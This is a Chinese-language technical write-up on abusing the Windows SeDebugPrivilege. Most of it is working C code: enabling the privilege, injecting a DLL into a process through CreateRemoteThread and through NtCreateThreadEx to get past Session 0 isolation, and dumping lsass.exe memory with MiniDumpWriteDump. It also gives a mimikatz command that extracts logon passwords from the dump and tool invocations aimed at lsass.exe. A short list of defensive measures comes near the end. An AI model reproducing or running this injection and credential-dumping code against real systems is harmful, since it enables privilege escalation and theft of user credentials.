Token Privileges Abusing - SeDebugPrivilege
字数 985 2025-08-06 12:21:08
SeDebugPrivilege 特权滥用技术详解
1. SeDebugPrivilege 特权概述
SeDebugPrivilege 特权在 Microsoft 官方文档中被描述为 "Debug programs",该特权非常强大,它允许持有者:
- 调试另一个进程
- 读取和写入该进程的内存
- 实现远程线程注入
- 转储进程内存(如 lsass.exe)
2. 特权启用方法
在利用前需要先为当前进程启用 SeDebugPrivilege 特权:
BOOL EnableTokenPrivilege(HANDLE hToken, LPCWSTR lpName) {
BOOL status = FALSE;
LUID luidValue = { 0 };
TOKEN_PRIVILEGES tokenPrivileges;
// 获取特权的LUID值
if (!LookupPrivilegeValueW(NULL, lpName, &luidValue)) {
wprintf(L"[-] LookupPrivilegeValue Error: [%u].\n", GetLastError());
return status;
}
// 设置提升信息
tokenPrivileges.PrivilegeCount = 1;
tokenPrivileges.Privileges[0].Luid = luidValue;
tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
// 调整进程令牌权限
if (!AdjustTokenPrivileges(hToken, FALSE, &tokenPrivileges,
sizeof(tokenPrivileges), NULL, NULL)) {
wprintf(L"[-] AdjustTokenPrivileges Error: [%u].\n", GetLastError());
return status;
} else {
status = TRUE;
}
return status;
}
3. 远程线程注入技术
3.1 基本原理
利用 LoadLibrary() 和 CreateRemoteThread() 函数实现 DLL 注入:
- 获取目标进程中 LoadLibrary() 函数地址
- 在目标进程空间中写入 DLL 路径字符串
- 创建远程线程调用 LoadLibrary() 加载 DLL
3.2 关键函数
// 加载DLL的函数
HMODULE LoadLibraryW([in] LPCWSTR lpLibFileName);
// 创建远程线程的函数
HANDLE CreateRemoteThread(
[in] HANDLE hProcess,
[in] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] SIZE_T dwStackSize,
[in] LPTHREAD_START_ROUTINE lpStartAddress,
[in] LPVOID lpParameter,
[in] DWORD dwCreationFlags,
[out] LPDWORD lpThreadId
);
3.3 实现步骤
- 获取目标进程ID
- 打开目标进程获取句柄
- 在目标进程中分配内存
- 将DLL路径写入目标进程
- 获取LoadLibraryW函数地址
- 创建远程线程
3.4 完整实现代码
BOOL ExploitSeDebugPrivilege(LPCWSTR lpProcessName, LPCWSTR lpDllFileName) {
BOOL status = FALSE;
DWORD dwProcessId;
HANDLE hProcess = NULL;
HANDLE hThread = NULL;
SIZE_T dwSize = 0;
LPVOID lpDllAddr = NULL;
FARPROC pLoadLibraryProc = NULL;
dwProcessId = GetProcessIdByName(lpProcessName);
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
// 在目标进程中分配内存
dwSize = (wcslen(lpDllFileName) + 1) * sizeof(WCHAR);
lpDllAddr = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
// 写入DLL路径
WriteProcessMemory(hProcess, lpDllAddr, lpDllFileName, dwSize, NULL);
// 获取LoadLibraryW地址
pLoadLibraryProc = GetProcAddress(GetModuleHandleW(L"kernel32.dll"), "LoadLibraryW");
// 创建远程线程
hThread = CreateRemoteThread(hProcess, NULL, 0,
(LPTHREAD_START_ROUTINE)pLoadLibraryProc, lpDllAddr, 0, NULL);
WaitForSingleObject(hThread, -1);
CloseHandle(hProcess);
return status;
}
4. Native API 注入技术(突破SESSION 0隔离)
4.1 为什么需要Native API
Windows 内核6.0后引入会话隔离机制,CreateRemoteThread() 内部调用 NtCreateThreadEx() 时设置 CreateThreadFlags=1 导致线程挂起,无法注入系统服务进程。
4.2 关键Native API
// Native.h 头文件定义
typedef NTSTATUS(NTAPI* _NtOpenProcess)(
PHANDLE ProcessHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
PCLIENT_ID ClientId
);
typedef NTSTATUS(NTAPI* _NtAllocateVirtualMemory)(
HANDLE ProcessHandle,
PVOID* BaseAddress,
ULONG_PTR ZeroBits,
PSIZE_T RegionSize,
ULONG AllocationType,
ULONG Protect
);
typedef NTSTATUS(NTAPI* _NtWriteVirtualMemory)(
HANDLE hProcess,
PVOID lpBaseAddress,
PVOID lpBuffer,
SIZE_T NumberOfBytesToRead,
PSIZE_T NumberOfBytesRead
);
typedef NTSTATUS(NTAPI* _NtCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
HANDLE ProcessHandle,
PVOID StartRoutine,
PVOID Argument OPTIONAL,
ULONG CreateFlags,
ULONG_PTR ZeroBits,
SIZE_T StackSize OPTIONAL,
SIZE_T MaximumStackSize OPTIONAL,
PVOID AttributeList OPTIONAL
);
4.3 Native API 注入实现
BOOL ExploitSeDebugPrivilege(LPCWSTR expType, LPCWSTR lpProcessName,
LPCWSTR lpDllFileName, LPCWSTR lpOutputFile) {
// 使用NtOpenProcess打开进程
status = NT_SUCCESS(NtOpenProcess(&hProcess, PROCESS_ALL_ACCESS,
&ObjectAttributes, &clientId));
// 使用NtAllocateVirtualMemory分配内存
status = NT_SUCCESS(NtAllocateVirtualMemory(hProcess, &lpDllAddr, 0,
&dwSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE));
// 使用NtWriteVirtualMemory写入DLL路径
status = NT_SUCCESS(NtWriteVirtualMemory(hProcess, lpDllAddr,
(LPVOID)lpDllFileName, dwSize, NULL));
// 使用NtCreateThreadEx创建线程(关键:CreateFlags设为0)
status = NT_SUCCESS(NtCreateThreadEx(&hThread, PROCESS_ALL_ACCESS, NULL,
hProcess, (LPTHREAD_START_ROUTINE)pLoadLibraryProc, lpDllAddr,
0, 0, 0, 0, NULL));
}
5. 进程内存转储技术
5.1 使用MiniDumpWriteDump转储内存
BOOL ExploitSeDebugPrivilege(LPCWSTR expType, LPCWSTR lpProcessName,
LPCWSTR lpDllFileName, LPCWSTR lpOutputFile) {
dumpFile = CreateFileW(lpOutputFile, GENERIC_WRITE, 0, NULL,
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
status = MiniDumpWriteDump(hProcess, dwProcessId, dumpFile,
MiniDumpWithFullMemory, NULL, NULL, NULL);
}
5.2 使用Mimikatz解析转储文件
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords" exit
6. 防御措施
- 限制SeDebugPrivilege特权的分配
- 监控可疑的进程内存操作
- 检测远程线程注入行为
- 保护关键进程如lsass.exe
- 启用Credential Guard等安全机制
7. 使用方法示例
7.1 DLL注入
SeDebugPrivilege.exe -e "Injection" -p "lsass.exe" -m "C:\shell.dll"
7.2 内存转储
SeDebugPrivilege.exe -e "Minidump" -p "lsass.exe" -o ".\lsass.dmp"
8. 总结
SeDebugPrivilege特权滥用是本地提权的常见技术,攻击者可以通过:
- 远程线程注入执行恶意代码
- 转储进程内存获取敏感信息
- 结合Native API绕过部分防御措施
防御方应加强对特权使用的监控和限制,特别是对关键系统进程的保护。